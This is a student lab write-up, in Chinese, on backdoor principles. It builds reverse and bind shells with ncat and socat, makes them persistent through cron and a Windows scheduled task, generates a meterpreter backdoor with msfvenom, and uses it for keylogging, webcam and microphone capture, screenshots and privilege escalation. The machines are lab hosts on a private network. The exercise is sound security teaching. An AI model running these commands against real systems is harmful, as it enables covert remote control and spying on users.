2018-2019-2 网络对抗技术 20165333 Exp2 后门原理与实践
实验内容
1.使用netcat获取主机操作Shell,cron启动
2.使用socat获取主机操作Shell, 任务计划启动
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
常用后门工具
nacat
Windows获得Linux Shell
-
在Windows下使用
ipconfig
查看本机IP
-
使用ncat.exe程序打开监听
ncat.exe -l -p 5333
-
在kali中反弹连接Windows,
ncat 192.168.1.150 5333 -e /bin/sh
,使用-e选项执行shell程序 -
Windows成功获得kali的shell
Linux获得Windows Shell
-
在kali中使用
ifconfig
查看IP -
打开监听
nc -l -p 5333
-
在Windows中反弹连接kali,
ncat.exe -e cmd.exe 192.168.1.236 5333
-
kali成功获得Windows的命令提示
任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
-
在Windows系统下,监听5333端口
-
在Kali环境下,用
crontab -e
指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了); -
在最后一行添加
56 * * * * /bin/netcat 192.168.1.150 5333 -e /bin/sh
,意思是在每个小时的第26分钟反向连接Windows主机的5318端口,
-
到达设定时间时,自动连接windows
任务二:使用socat获取主机操作Shell, 任务计划启动
socat:
-
socat是ncat的增强版,它使用的格式是
socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。 -
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
-
搜索打开“计算机管理”
-
在“任务计划程序”中“创建任务”
-
填写任务名->新建一个触发器
-
在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5333 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5333,同时把cmd.exe的stderr重定向到stdout上
-
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务shiyan2已经开始运行
-
此时,在Kali环境下输入指令
socat - tcp:192.168.1.150:5333
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5333端口,此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.236 LPORT=5333 -f exe > 20165333_backdoor.exe
,注意这里的IP地址为控制端IP,即LinuxIP,可见已经生成了后门程序“20165333_backdoor.exe”
-
在Windows下执
ncat.exe -lv 5318 > 20165333_backdoor.exe
指令,通过-lv选项看到当前的连接状态, -
在Linux中执行
nc 192.168.1.150 5333 < 20165333_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP
-
传送接收文件成功,如下图所示
-
在Kali上使用msfconsole指令进入msf控制台
-
输入
use exploit/multi/handler
使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload
set LHOST 192.168.1.236
,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5333
,同样要使用相同的端口
-
设置完成后,执行监听
-
运行Windows下的后门程序,此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
被当做木马拦截了,关闭360
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用
record_mic
指令可以截获一段音频,可以用-d选项设置录制时间 -
使用
webcam_snap
指令可以使用摄像头进行拍照 -
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
-
使用
screenshot
指令可以进行截屏,效果如下:
-
先使用
getuid
指令查看当前用户,使用getsystem
指令进行提权
-
也可以用
webcam stream
指令可以使用摄像头进行录像
sysinfo
获得目标系统的信息,机器名、操作系统等
基础问题
- 例举你能想到的一个后门进入到你系统中的可能方式?
答:收到以我容易信任的名义发过来的虚假邮件,打开邮件并且下载邮件的附件之后,后门程序可能会进入计算机。 - 例举你知道的后门如何启动起来(win及linux)的方式?
答:通过修改注册表设置为开机自启动;进入挂马网站;下载一些有恶意程序绑定的软件。 - Meterpreter有哪些给你映像深刻的功能?
答:可以不用通过用户登录来访问计算机,并且随意进行开启摄像头,录制音频,截屏等操作。 - 如何发现自己有系统有没有被安装后门?
答:1.必须开启防火墙,而且防火墙对与某些危险操作的提示要仔细查看,不能疏忽。2.可以下载专业的杀毒软件,进行定期检查电脑。3.可以检测某些不常用的端口是否长时间开启,如果长时间开启说明电脑有一定的几率被植入了后门或者是病毒。
实验感受
- 做完这个实验,录音,调用摄像头,截屏,深深感受到了后门程序的强大,增强了我的网络安全意识,深刻认识到我国发展信息安全的紧迫感;我也应该对后门原理进一步的学习。